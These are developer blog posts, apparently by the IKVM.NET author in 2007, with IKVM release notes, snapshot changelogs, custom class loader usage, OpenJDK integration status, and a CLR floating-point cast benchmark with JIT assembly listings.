If you delegate to other class loaders, you should be careful to avoid loops in the delegation path. If you want to change the resource loading delegation order, you can override getResource[s]() instead of findResource[s]() relatively safely, but if you want to change the delegation order for classes you need to be more careful, because you cannot replace any classes that are defined in the assembly.

Of course, you can also reuse existing class loader classes. Here's an example with URLClassLoader:

class MyCustomClassLoader extends java.net.URLClassLoader
{
  MyCustomClassLoader(cli.System.Reflection.Assembly asm)
  {
    super(new java.net.URL[0], new ikvm.runtime.AssemblyClassLoader(asm));
    // see below why calling addURL() is safer than passing it to the super constructor
    addURL(new java.net.URL("..."));
  }
}

Note that custom assembly class loader classes and their single argument Assembly constructor must be accessible from the assembly that they are applied to.

Delegation Magic

The ikvm.runtime.AssemblyClassLoader instance that is passed in as the parent class loader is a bit funny. It supports loading classes and resources from the assembly, but it effectively does this by magically delegating back to the custom class loader (without actually calling it, otherwise you'd get infinite recursion.) This means that classes from the assembly can be loaded via the parent class loader, but they report the custom class loader instance as their class loader.

Construction Magic

The custom assembly class loader is constructed when someone calls getClassLoader() on a class defined in that assembly for the first time, but what should getClassLoader() return while the custom class loader is being constructed? For consistencies sake, I've decided to apply some magic here and to make it return the object that is currently being constructed. This implies that you should call the base class constructor ASAP, because as long as you haven't done this the ClassLoader instance is in an unitialized state. After calling the base class constructor you can do additional work to configure your custom class loader, but you should take into account that while you are setting up your instance data, if you do anything that causes a class or resource to be loaded via your class loader, that your methods may run while initialization has not yet been completed. Note that this can only happen for the initiating thread. All other threads that call getClassLoader() will be blocked while the constructor is runnning. If the constructor throws an exception, the initiating call to getClassLoader() will see the exception, but all other calls will return the partially initialized class loader object.

Too Much Magic?

I certainly hope not, but I have to admit this is a scary feature. I recommend only writing your own custom assembly class loader if you really understand Java class loaders and there is no alternative.

Finally, please do send me feedback on this feature (even if it's a simple "I like it" or "It sucks"). I plan on backporting this to the 0.36 release, so it's important to get this right.

Changes:

  • More changes to keep up the pretense that an AssemblyClassLoader has already loaded all classes in the assembly.
  • Made AssemblyClassLoader public and moved it to ikvm.runtime package.
  • Allow non-public custom assembly class loaders (if they are defined in the same assembly).
  • Fixed ClassLoader.getSystemClassLoader() to return the custom assembly class loader for the main executable, if one is defined, even if the java.class.path or java.ext.dirs system property is set.
  • Restructured AssemblyClassLoader.GetProtectionDomain() to avoid calling any code while holding the lock.

Binaries available here: ikvmbin-0.37.2855.zip.

10/26/2007 11:25:23 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, October 22, 2007

New Development Snapshot

I've made a bunch of changes to support custom assembly class loaders. This should finally solve some of the issues caused by the new class loader architecture. Eventually it will be possible to write your own assembly class loader (hence the name custom assembly class loaders), but currently only the two provided ones are supported: ikvm.runtime.AppDomainAssemblyClassLoader and ikvm.runtime.ClassPathAssemblyClassLoader.

AppDomainAssemblyClassLoader

This approximates the pre-0.32 behavior by searching all currently loaded assemblies (after looking in the assembly itself and the assemblies it references).

ClassPathAssemblyClassLoader

This class loader supports dynamically loading classes and resources from the CLASSPATH (or java.class.path system property). It too first searches the assembly itself and any assemblies it references. This class loader makes the most sense as a replacement for the assembly class loader of the main executable, that way it will also be the system class loader. Note that if multiple assemblies use this class loader, they each will have a separate class loader instance that loads different classes (even though they may be based on the same class files).

How to Use

There is a new ikvmc option to specify a custom assembly class loader:

ikvmc -classloader:ikvm.runtime.AppDomainAssemblyClassLoader example.jar

For non-Java code you can apply a custom attribute to your code:

using System;

[assembly: IKVM.Attributes.CustomAssemblyClassLoader(typeof(ikvm.runtime.ClassPathAssemblyClassLoader))]

class SimpleJavaRunner
{
  public static void Main(string[] args)
  {
    string[] newArgs = new string[args.Length - 1];
    Array.Copy(args, 1, newArgs, 0, newArgs.Length);
    java.lang.Class.forName(args[0])
      .getMethod("main", typeof(string[]))
      .invoke(null, new object[] { newArgs });
  }
}

You can also specify them in the app.config file, this overrides the above methods:

<?xml version="1.0" encoding="utf-8" ?>
<configuration>
  <appSettings>
    <add key="ikvm-classloader:MyExampleAssembly" value="ikvm.runtime.AppDomainAssemblyClassLoader, IKVM.OpenJDK.ClassLibrary, Version=0.37.0.0, Culture=neutral, PublicKeyToken=null" />
  </appSettings>
</configuration>

Here the key is ikvm-classloader: followed by the simple name of the assembly. The value must be the assembly qualified type name of the custom assembly class loader type.

As always, feedback is appreciated.

Changes:

  • Implemented Custom Assembly Class Loaders.
  • Fixed URL.equals() for "ikvmres:" urls.
  • Fixed findResources() bug that caused resources in core assembly to show up twice if a .NET assembly explicitly referenced the core assembly.
  • Added check to prevent defineClass() on an assembly class loader from defining a class that already exists in the assembly.
  • Fixed Class.getModifiers() to mask out ACC_SUPER bit.

Binaries available here: ikvmbin-0.37.2851.zip.

10/22/2007 3:22:38 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, October 15, 2007

Mono Summit 2007

I'll be at the Mono Summit 2007.

10/15/2007 11:59:24 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Friday, October 12, 2007

IKVM 0.36 rc5

Yet another release candidate and possibly not even the last one (more on that next week).

Changes:

  • Fixed reflection regression introduced in rc4.
  • Added workaround for .NET 3.5 beta breaking change.
  • Added support for another binary compatibility issue (public classes nested in non-public classes).
  • Added workaround for another .NET 2.0 x64 JIT bug.

Binaries available here: ikvmbin-0.36.0.4.zip.

Sources (+ binaries): ikvm-0.36.0.4.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

10/12/2007 6:28:39 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Monday, October 01, 2007

IKVM 0.36 rc4

External forces inspired me (read: I was paid) to make another release candidate.

Reflection on .NET is very slow compared with Java and because IKVM reflection was built on top of .NET reflection, it too was very slow. I rewrote the lower levels of reflection to take advantage of DynamicMethod when running .NET 2.0. This allows the slow .NET reflection to be bypassed and optimized accessor methods to be generated dynamically. I also rewrote the part of serialization that uses reflection to get and set the field values to generate custom dynamic methods for the serialization process. Serialization is now up to 20x faster.

Unfortunately I had to disable the use of DynamicMethod when running on Mono, because testing revealed that Mono 1.2.5's implementation of DynamicMethod is still too buggy.

A remaining caveat wrt reflection performance is that you need to call setAccessible(true) to get the best performance when running on IKVM, because stack walking (which is needed to do the required access checks when you access a non-public member) is still very slow compared with Java.

Changes:

  • Improved serialization and reflection performance when running on .NET 2.0.

Binaries available here: ikvmbin-0.36.0.3.zip.

Sources (+ binaries): ikvm-0.36.0.3.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

10/1/2007 3:31:54 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, September 20, 2007

IKVM 0.36 rc3

This is probably the last release candiate before the official 0.36 release.

Changes:

  • Fixed non-blocking nio socket send of zero bytes to not return -1.
  • Fixed nio Selector.wakeup() race condition.
  • Added checks for code that uses reflection to call ClassLoader.defineClass() on the assembly class loader for ikvmc compiled classes to throw IllegalAccessError when the class tries to extend a non-public base class (instead of dying with a Critical Failure).
  • Fixed bug in the handling of Java annotations applied in .NET code (via the corresponding ikvmc generated attributes).
  • Significantly improved performance of Class.getModifiers().

Binaries available here: ikvmbin-0.36.0.2.zip.

Sources (+ binaries): ikvm-0.36.0.2.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

9/20/2007 3:55:12 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, September 17, 2007

Two Useful Tools for IKVM.NET

IKVMDoc

Brian Heineman wrote a doclet to convert Javadoc into .NET XML documentation that can be consumed by .NET tools like Visual Studio. This makes the type and member documentation available in the Visual Studio IntelliSense popups. Very nice! There's still room for improvement, especially in the area of converting broken html tags into well formed xml tags. The code is available cvs. I've used it to generate an xml documentation file for IKVM.OpenJDK.ClassLibrary.dll and that can be downloaded here.

In future IKVM releases I plan to include an ikvmc compiled version of IKVMDoc.

jar2ikvmc

Gena Donchyts wrote a handy tool that analyzes a bunch of jars and generates a script to ikvmc compile these jars in the right order and with the required (static) dependencies. The tool and documentation are available here.

Thanks

Thanks to Brian and Gena for providing these great tools!

9/17/2007 8:18:25 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Thursday, September 13, 2007

IKVM 0.36 rc2

Release candidate 2.

Changes:

  • Fixed annotation handling to use Enum.valueOf() instead of reflection, to prevent IllegalAccessException when accessing non-public enum.
  • Bootstrap packages are no longer sealed.
  • Packages for ikvmc compiled code are no longer sealed automatically (only when they are sealed in the manifest).
  • Implemented support for enabling/disabling assertions in ikvm.exe.
  • Fixed ikvmstub exception when the resulting jar is empty.
  • Added support for creating proxies for non-public interfaces in ikvmc compiled assemblies.
  • Made method annotation resolution lazy, to deal with annotations that annotate themselves.
  • Fixed bug in finalize method handling that could cause compiler error if base class explicitly called finalize method in derived class.
  • Improved JLS binary compatibility support.
  • Fixed implicit conversion from System.Type to java.lang.Class to return null instead of throwing a NullReferenceException for unrepresentable types.

Binaries available here: ikvmbin-0.36.0.1.zip.

Sources (+ binaries): ikvm-0.36.0.1.zip

External sources (haven't changed since rc1): classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

9/13/2007 11:53:26 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Monday, September 03, 2007

IKVM 0.36 rc1

Release candidate 1 of the first OpenJDK based release.

Compared with the last snapshot I made one small change, I implemented the new 1.6 JNI method.

Binaries available here: ikvmbin-0.36.0.0.zip.

Sources: ikvm-0.36.0.0.zip, classpath-0.95-stripped.zip, openjdk-b13-stripped.zip

If you want to build from source, you need the classpath and openjdk zips as well. The classpath-0.95-stripped.zip file contains the required AWT/Swing sources (from a patched version of GNU Classpath 0.95). The openjdk-b13-stripped.zip contains the required sources and the required generated sources (from running an OpenJDK build on Linux). These two zips need to be unzipped in the same directory as where you unzip ikvm-0.36.0.0.zip. I've tested the build on Windows with .NET 1.1, .NET 2.0 and Mono 1.2.3 and on Linux with Mono 1.2.5.

9/3/2007 9:54:34 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 29, 2007

New Snapshot

One more snapshot before release candidate 1 with a couple of fixes:

  • Windows x64 specific binaries are now included (in the ikvm\bin-x64 directory).
  • Enabled workaround for x64 tail call optimization.
  • Implemented clearing of SoftReferences. They're still not guaranteed to be cleared before an OutOfMemoryError, but the new behavior is hopefully more reasonable than never clearing them.
  • Fixed code generator bug that could cause AbstractMethodError to be thrown when subclassing a .NET type that has an explicit interface method implementation.
  • Integrated IcedTea updates to support PBEwithMD5andDES.

Binaries available here: ikvmbin-openjdk-0.35.2796.zip.

8/29/2007 8:26:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 28, 2007

MS07-045 bug

We interrupt our regularly scheduled programming for some Microsoft idiocy. If you have a classic ASP website that instantiates .NET classes via COM interop that suddenly stopped working after installing MS07-045 and you're now getting the dreaded 0x8000FFFF Catastrophic failure aka E_UNEXPECTED, you can fix that by allowing Everyone Read access to HKEY_USERS\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones or by running MS07-045-patch (.NET 2.0 required) to make the registry permission changes for you (you need admin rights to make the changes or run the executable).

8/28/2007 11:38:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Friday, August 24, 2007

First OpenJDK Snapshot

Several things conspired to make me realise that it would be a good idea to make an official release based on OpenJDK. While it is technically still a hybrid with GNU Classpath (it uses the AWT / Swing implementation from GNU Classpath 0.95), I don't consider this a big problem due to the fact that AWT support in OpenJDK itself still has holes in it as well (due to the "encumbrances") and the fact that IKVM never officially supported AWT / Swing (and still doesn't). This snapshot has been well tested and the disclaimers no longer apply. Please download it, play with it and report any issues you find (either here in the comments, on the mailing list or to me directly). I will hopefully release the first 0.36 release candidate at the end of next week.

In the past I was never able to give a list of the areas of GNU Classpath that worked or not, because I simply was't familiar enough with the large code base to know which parts were of good quality / compatibility and which weren't. With OpenJDK I can at least say where IKVM diverges from the OpenJDK code. So I've made a list of packages / classes that are not fully implemented or not supported.

com.sun.security.auth.module        Not implemented.
java.applet GNU Classpath implementation. Not supported.
java.awt GNU Classpath implementation. Not supported.
java.io.Console Not implemented.
java.lang.instrument Not implemented.
java.lang.management Not implemented.
java.lang.ref.SoftReference Soft references are never cleared.
java.lang.SecurityManager Deprecated methods not implemented:
classDepth(String), inClass(String), classLoaderDepth(), currentLoadedClass(), currentClassLoader(), inClassLoader()
java.net No IPv6 support implemented.
java.net.ProxySelector Getting the default system proxy for a URL is not implemented.
java.security Not supported.
java.text.Bidi GNU Classpath implementation. Not supported.
java.util.zip Partially based on GNU Classpath implementation.
javax.crypto IcedTea implementation. Not supported.
javax.imageio.plugins.jpeg Not implemented.
javax.management Not implemented.
javax.print Not implemented.
javax.script Not implemented.
javax.security Not supported.
javax.smartcardio Not implemented.
javax.sound Not implemented.
javax.swing GNU Classpath implementation. Not supported.
javax.tools Not implemented.
org.ietfs.jgss Not implemented.
sun.jdbc.odbc Not implemented.
sun.net.www.content.audio Audio content handlers not implemented.
sun.net.www.content.image Image content handlers not implemented.

The entire public API is available, so "Not implemented." for javax.print, for example, means that the API is there but there is no backend to provide the actual printing support. "Not supported." means that the code is there and probably works at least somewhat, but that I'm less likely to fix bugs reported in these areas.

In addition to the issues listed above, the extended charset providers are not included (the ones in charsets.jar in the JRE) and enabling assertions is not implemented.

This snapshot is still based on OpenJDK B13, because the closer to 1.6 the better in my opinion. After the 0.36 release, I will start tracking the OpenJDK development version more closely, but I plan on supporting 0.36 for a relatively long time (even after 0.38 and subsequent IKVM releases).

I've updated the Japi results. The scores are obviously very high now, but there are still some differences. Some differences are due to OpenJDK B13 already containing some new 1.7 APIs, some differences are in the AWT / Swing GNU Classpath code and some are Japi bugs (e.g. the java.util.concurrent differences).

Changes:

  • Renamed IKVM.Hybrid.GNU.Classpath.OpenJDK.dll to IKVM.OpenJDK.ClassLibrary.dll and made OpenJDK build the default.
  • Fixed thread creation to use AccessController.doPrivileged() to get ikvm.apartmentstate system property.
  • Fixed AccessController.getStackAccessControlContext() to use "native" method as marker on the stack for privileged operation (because the native method stub may get inlined away).
  • Added default security policy file to VFS.
  • Integrated OpenJDK java.beans package. Included OpenJDK sun.io package. Included OpenJDK sunw packages (for JDK 1.0 compatibility).
  • Don't create TypeWrapper instances for HideFromJava types.
  • Added rmi skeleton classes.
  • Integrated OpenJDK java.nio package.
  • Changed ikvmres protocol handler to be compatible with both GNU Classpath and OpenJDK url parse exception throwing convention.
  • Switched GNU Classpath AWT/Swing back to version 0.95.
  • Copied GNU Classpath version of java.text.Bidi into openjdk directory.
  • Copied and integrated GNU Classpath's pure Java zip support with OpenJDK zip classes.
  • Added GNU Classpath 0.95 compatible versions of awt\font.cs and awt\toolkit.cs.
  • Refactored system properties initialization.
  • Changed ikvm.exe class library version printing to report both GNU Classpath and OpenJDK versions.
  • Added HideFromJava to AnnotationAttribute type member that can potentially use HideFromJava types.
  • Implemented Thread.dumpThreads() and Thread.getThreads().
  • Added a couple more fake native libraries to VFS.
  • Implemented Thread.WaitUntilLastJniThread() (used by JNI method DestroyJavaVM() to wait for all non-daemon threads to end).
  • Implemented Inet4Address.isReachable().
  • Implemented path canonicalization.
  • Create java.lang.ProcessImpl streams via FileDescriptor instead of going through FileChannelImpl.
  • Added support for StructLayoutAttribute annotations.
  • New FileChannelImpl implementation based on OpenJDK.
  • Added map.xml workaround for java.net.DatagramSocket.receive() bug.
  • Implemented DatagramSocketImpl.peek() and peekData().
  • Don't add KeepAlive to constructors of objects that don't have finalizers and extend cli.System.Object.
  • Implemented sun.net.dns.ResolverConfigurationImpl "native" methods.
  • Added map.xml workaround for OpenJDK java.beans.XMLDecoder bug.
  • Fixed sun.nio.ch.DotNetSelectorImpl to make "infinite" blocking select block for Integer.MAX_VALUE instead of returning right away.
  • Fixed sun.nio.ch.Net.writeImpl() to return IOStatus.UNAVAILABLE if the socket is in non-blocking mode and the write failed because of this.
  • Added workaround for .NET 1.1 Directory.Delete() bug.
  • Updated all Java versions to 1.6.

Binaries available here: ikvmbin-openjdk-0.35.2791.zip.

8/24/2007 9:42:45 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 09, 2007

New Hybrid Snapshot

I did some stabilization work on the previous snapshot and I finally caved in and made floating point handling more compliant (still not fully compliant with the JVM spec, as that would be way too slow).

Changes:

  • Added support for generating access stubs in public interfaces that extend non-public interfaces.
  • Added workarounds for several OpenJDK class initialization order issues.
  • Fixed build process to include the rmi stubs and ties.
  • Renamed sun.misc.Unsafe instance field to theUnsafe, to facilitate sun.corba.Bridge which accesses the field thru reflection.
  • Changed AtomicBoolean.value field from boolean to int to be serialization compatible with JDK.
  • Fixed ArrayTypeWrapper.Finish().
  • Fixed java.lang.reflect.Array.set() to only unbox primitives when the array is a primitive array.
  • Fixed java.lang.reflect.Array.multiNewArray() to finish the array type before using it.
  • Implemented improved floating point compliance (strictfp is now honored and value set conversion is implemented).

Binaries available here: ikvmbin-hybrid-0.35.2777.zip.

8/9/2007 10:16:51 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Tuesday, August 07, 2007

Floating Point "Redundant" Cast Performance on the CLR

Let's start out with a simple micro benchmark:

using System;
using System.Threading;
class Program
{
public static void Main()
{

int start = Environment.TickCount;
double[] d = new double[1000];
for (int i = 0; i < 1000000; i++)
{
for (int j = 0; j < d.Length; j++)
{
d[j] = (double)(3.0 * d[j]);
}
}
int end = Environment.TickCount;
Console.WriteLine(end - start);
}
}

On my system this takes about 7 seconds when run in optimized mode (i.e. not in the debugger).

Here's the optimized x86 code generated by the 2.0 CLR JIT for the body of the inner loop:

fld   qword ptr [ecx+edx*8+8]      ; d[j]
fmul  dword ptr ds:[007B1230h]     ; * 3.0 
fstp  qword ptr [esp]              ; (double) 
fld   qword ptr [esp]              ; (double) 
fstp  qword ptr [ecx+edx*8+8]      ; d[j] = 

There first thing that jumps out is that the double cast takes two x87 instructions, a store and a load. Part of the reason the cast is expensive is because the value has to leave the FPU and go to main memory and back into the FPU. In this particular case it turns out to be very expensive, because esp happens to be not 8 byte aligned.

Making a seemingly unrelated change can make the micro benchmark much faster, just adding the following two lines at the top of the Main method will make the loop run in about 2.3 seconds on my system:

    double dv = 0.0;
Interlocked.CompareExchange(ref dv, dv, dv);

The reason for this performance improvement becomes clear when we look at the method prologue in the new situation:

push  ebp 
mov   ebp,esp 
and   esp,0FFFFFFF8h 
push  edi 
push  esi 
push  ebx 
sub   esp,14h

This results in an 8 byte aligned esp pointer. As a result the fstp/fld instructions will run much faster. It looks like a "bug" in the JIT that it doesn't align the stack in the first scenario.

Of course, the much more obvious question is: Why does the cast generate code at all, isn't a double already a double?

Before answering this question, let's first look at another minor change to the micro benchmark. Let's remove the Interlocked.CompareExchange() again and change the inner loop body to the following:

    double v = 3.0 * d[j];
d[j] = (double)v;

With this change, the loop now takes just 1 second on my system. When we look at the x86 code generated by the JIT, it becomes obvious why:

fld   qword ptr [ecx+edx*8+8] 
fmul  dword ptr ds:[002A1170h] 
fstp  qword ptr [ecx+edx*8+8]

The redundant fstp/fld instructions are gone.

Back to the question of why the cast isn't always optimized away. The reason for this lies in the fact that the x87 FPU internally uses an extended 80 bit representation for floating point numbers. When you explicitly cast to a double, the ECMA CLI specification requires that this results in a conversion from the internal representation into the IEEE 64 bit representation. Of course, in this scenario we're already storing the value in memory, so this necessarily implies a conversion to the 64 bit representation, making the extra fstp/fld unnecessary.

Finally, in x64 mode all three variations of the benchmark take 1 second on my system. This is because the x64 CLR JIT uses SSE instructions that internally work on the IEEE 64 bit representation of doubles, so the cast is optimized away in all situations here.

For completeness, here's the code generated by the x64 JIT for the inner loop body:

movsd  xmm0,mmword ptr [rcx] 
mulsd  xmm0,mmword ptr [000000C0h] 
movsd  mmword ptr [rcx],xmm0 
8/7/2007 3:02:08 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Monday, August 06, 2007

IKVM 0.34 Update

I made another 0.34 update, since 0.36 is probably still a ways off.

Changes:

  • Fixed handling of magic “assembly” type for assembly attribute annotations (bug #1721688).
  • LocalVariableTable robustness fix (bug #1765952).
  • Fixed handling of public interfaces extending non-public interfaces in ikvmc.
  • Fixed parameter annotations on redirected contructors.
  • Fixed casting ghost interface arrays (bug #1757889).
  • Fixed JNI NewObject method.
  • Fix to make sure all implemented interface methods on .NET types are public (so that ikvmstub generates jars that javac is happy with).

Files are available here: ikvm-0.34.0.4.zip (source + binaries) and ikvmbin-0.34.0.4.zip (binaries).

Update: I forgot to update the AWT toolkit property's assembly version. Fixed in current zips. Thanks to Ted O'Conner for pointing this out.

8/6/2007 10:41:11 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Thursday, August 02, 2007

What about AWT / Swing Support?

In the comments to the previous entry Martin asked:

Would you support AWT / Swing as the Sun Version?

I've always said that AWT / Swing are not a priority for me and that won't change. Having said that, my current idea is to have two AWT back-ends, the default one similar to the current situation, i.e. a .NET Windows Forms based partial implementation. The second (optional) one would be the OpenJDK based implementation, using the OpenJDK native libraries. However, as usual, this is all subject to change.

Andrew asked:

Okay, just wanted to clarify what you mean by 'integrating'. My understanding is you actually replace the GNU Classpath code with code copied from OpenJDK and then try and implement the necessary VM wotsits -- is that correct? If that is the case, presumably the end goal is to complete replace all the Classpath code. At the moment, that'd be a real shame because it would make IKVM more broken as lots of stuff like AWT/Swing is broken on OpenJDK.

That's not really true on IKVM. IKVM has never supported GNU Classpath's AWT/Swing implementation (it includes only the GNU Classpath implementation of the public API, the peer implementations are not used).

In case you're wondering why IKVM doesn't support the GNU Classpath peers, that's because the GNU Classpath peers don't support Windows and also because IKVM is built on top of the CLI and (almost all) the IKVM binaries are OS and CPU architecture independent, using native code is not compatible with that feature.

8/2/2007 9:18:13 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, August 01, 2007

New Hybrid Snapshot

Major code bloat. I've now integrated the bulk of the OpenJDK code that isn't awt or swing. As a result the IKVM.Hybrid.GNU.Classpath.OpenJDK.dll assembly size has grown to about 26 MB. API coverage compared with JDK 1.6 is now at more than 98%. Note that doesn't mean that everything will work, because some back-end implementations are stubbed out or not included.

Disclaimers apply. I haven't done a full test pass on this build.

Changes:

  • OpenJDK: Integrated javax.management package (and sub packages).
  • OpenJDK: Integrated java.lang.management package (only a stub back-end implementation though).
  • OpenJDK: Integrated javax.imageio package (excluding the jpeg support, because OpenJDK uses native code for that).
  • OpenJDK: Integrated javax.activation, javax.annotation, javax.jws, javax.lang.model, javax.tools, javax.xml.*, org.jcp.xml.dsig.internal, org.relaxng.datatype, org.w3c.dom.*, org.xml.sax.* packages.
  • OpenJDK: Integrated javax.sql.* packages.
  • OpenJDK: Integrated javax.accessibility, javax.transaction, javax.activity packages.
  • OpenJDK: Integrated javax.print.* packages (no back-end implementation and ServiceUI is stubbed.)
  • OpenJDK: Integrated org.omg.*, javax.rmi.*, javax.sound.*, org.ietfs.jgss packages.
  • Fixed JNI NewObject method to actually create an object of the requested class, instead of the class of the constructor.
  • Added method name clash handling for AOT access stub methods.

Binaries available here: ikvmbin-hybrid-0.35.2769.zip.

8/1/2007 10:16:12 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [2]

Thursday, July 26, 2007

New Hybrid Snapshot

A major step in integrating OpenJDK code. One of the bottlenecks was the fact that currently OpenJDK is missing most of the crypto code, but thanks to the IcedTea project I've been able to integrate the OpenJDK java.security package and packages that depend on the crypto code (like java.net). I've also rewritten all socket implementation classes (both classic and nio) based on the OpenJDK code. FileChannelImpl and the direct and mapped byte buffers still need to be converted.

Some of the integrated packages don't have any back-end implementation (e.g. smartcardio and jgss). I'm not likely to implement smartcard support and will revisit the security and crypto stuff once Sun releases the crypto code.

Disclaimers apply. I haven't done a full test pass on this build.

Changes:

  • OpenJDK: Added support for "loading" fake native libraries from VFS and removed hack to bypass loadLibrary() call in System.initializeSystemClass().
  • OpenJDK: Integrated OpenJDK packages: java.net, java.security, java.util.jar, javax.naming, javax.net, javax.security, javax.smartcardio, java.nio.charset, java.nio.channels, java.nio.channels.spi
  • OpenJDK: Integrated IcedTea crypto/security classes.
  • OpenJDK: Fixed a race condition in Thread.interrupt().
  • Allow Object[] to be cast/assigned to ghost array. Fix for bug 1757889.
  • Fixed assembly annotation support (bug 1721688).
  • Added ikvmc warning when annotation type isn't found.
  • Added WINDOWS constant to ikvm.internal.Util to check if we're running on Windows.

Binaries available here: ikvmbin-hybrid-0.35.2763.zip.

7/26/2007 2:15:37 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 11, 2007

.NET Framework Security Update

Yesterday Microsoft released a security update for the .NET Framework that fixes the bug I reported last December. I'll write a more detailed analysis (including a proof-of-concept exploit) in a couple of weeks.

7/11/2007 7:10:17 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [1]

Wednesday, July 04, 2007

New Hybrid Snapshot

I decided to take a break from integrating new OpenJDK packages and instead focus on running some test cases and work on stabilization. Contrary to the previous hybrid snapshots, this version should be fairly usable. Feedback is appreciated.

Changes:

  • OpenJDK: Implemented java.util.concurrent.locks.LockSupport.
  • OpenJDK: Fixed race condition in Thread.interrupt() that could cause cli.System.Threading.ThreadInterruptedException to be thrown from interruptable waits/sleep.
  • OpenJDK: Imported and modified java.util.concurrent.locks.AbstractQueuedSynchronizer to make it more efficient and to remove the use of ReflectionFactory & Unsafe to reduce initialization order dependencies.
  • OpenJDK: Changed unsafe to use more efficient internal helper class to copy java.lang.reflect.Field and make it accessible (this also reduces initialization order dependencies).
  • OpenJDK: Added lib/logging.properties to VFS and implemented an additional VFS operation required for reading it.
  • OpenJDK: Changed VFS ZipEntryStream.Read() to always try to read the requested number of bytes, instead of returning earlier. For maximum compatibility with real file i/o.
  • OpenJDK: Commented out system property setting in sun.misc.Version that was setting some version properties to bogus values.
  • OpenJDK: Fixed ObjectInputStream.latestUserDefinedLoader() to skip mscorlib stack frames.
  • OpenJDK: Added support to VFS for the VFS root directory.
  • OpenJDK: Fixed FieldAccessorImpl to check the type of the object passed in.
  • OpenJDK: "Implemented" ClassLoader.retrieveDirectives() by returning empty AssertionStatusDirectives object. Enabling assertions on the ikvm.exe command line is still not implemented.
  • OpenJDK: Switched to javac compiler for building OpenJDK sources.
  • Added workaround for .NET 1.1 reflection bug that causes methods that explicitly override a method to show up twice.
  • Changed handling of ldfld & lfsfld opcodes in remapper to bypass "magic".
  • Restructured handling of fields defined in map.xml to enable referencing them from map.xml method bodies.
  • Fixed java.security.VMAccessController to make sure that if there is only system code on the stack, the resulting AccessControlContext isn't empty.
  • Updated to compile with GNU Classpath HEAD.

Binaries available here: ikvmbin-hybrid-0.35.2741.zip.

7/4/2007 3:04:10 PM (W. Europe Daylight Time, UTC+02:00)  #    Comments [0]

Wednesday, June 27, 2007

New Hybrid Snapshot

I'm getting tired of writing the disclaimers and warnings, but they still apply.

The most important change in this snapshot is that there's now a virtual file system for the java.home directory. This has been a long time coming, but the proverbial straw was the fact that the OpenJDK timezone code reads files from the java.home/lib/zi/ directory (IMHO they really should be using resources for these things).

Currently the virtual java.home directory is C:\.virtual-ikvm-home\ on Windows and /.virtual-ikvm-home/ on Unix, but this is subject to change (please let me know if you have thoughts on this). The only contents in there so far is the /lib/zi/ directory tree and only a few file operations are supported (notably the ones required by the timezone code), but expect that eventually all (read-only) file system operations will be supported and more virtual files to appear in there.

Why a Virtual File System Instead Of a Real Java Home Directory?

The main reason is that I want IKVM to behave like a .NET library as much as possible. That means it should be possible to install it into the GAC and support the versioning and side-by-side capabilities of .NET, that's very hard to do when you have to manage real directories.

Changes:

  • OpenJDK: Integrated java.util.spi, java.util.prefs and java.util.logging packages.
  • OpenJDK: Integrated java.text and java.text.spi packages (except for java.text.Bidi class, for which Sun uses native code, so we'll continue to use GNU Classpath's pure Java version.)
  • OpenJDK: Changed build script to include all resources from OpenJDK generated resources.jar.
  • OpenJDK: Integrated java.rmi package.
  • OpenJDK: Changed system/extension class loader creation to make sure that an extension class loader always exists if there is a non-assembly system class loader.
  • OpenJDK: Improved exception handling in java.io.FileDescriptor.
  • OpenJDK: Removed AccessController.doPrivileged() call in Unsafe.fieldOffset(), to work around Mauve brokenness.
  • OpenJDK: Implemented the beginnings of a virtual file system for the java.home directory.
  • Changed JVM.IsUnix to use Environment.OSVersion.Platform.

Binaries available here: ikvmbin-hybrid-0.35.2734.zip.

6/27/2007 8:57:35 AM (W. Europe Daylight Time, UTC+02:00)  #    Comments [3]

Thursday, June 21, 2007

New Hybrid Snapshot

Another hybrid snapshot update. Just a reminder again: These snapshots have not been tested extensively and are known to be broken (and are much more broken than the non-hybrid snapshots I used to release). They are only intended to be used for testing and getting a feel of how things are going. If you find a bug specific to this snapshot, please don't file a bug on SourceForge, simply send a message to the ikvm-developers list or to me directly.

I'm not going to list everything that's known to be broken, but I will say that Eclipse 3.2 still runs, so at least some parts do work ;-)

This build also includes several GNU Classpath fixes that I haven't yet checked in, so if you're trying to do a hybrid build from cvs you'll end up with something even more broken than this build. [Update: I checked them in.]

Changes:

  • OpenJDK: Upgraded to OpenJDK bundle b13.
  • OpenJDK: Added more resources.
  • OpenJDK: Integrated java.lang.annotation and java.lang.ref packages.
  • OpenJDK: Integrated java.io and java.util packages.
  • Added -serialver option to ikvmstub that forces stub generator to include serialVersionUID field for all serializable classes (to make Japi results more accurate).
  • Fixed GetParameterAnnotations() to return the correct array length for instancehelper__ methods (static methods that represent instance methods on remapped types).
  • Fixed ikvm.io.InputStreamWrapper.available() to return non-zero when more data is available (as suggested by Mark Reinhold). Removed the NormalizerDataReader specific fix from map.xml.
  • Fixed ikvmstub to better handle private interface implementations. (Fixes System.Web.UI.Control subclassing issue).

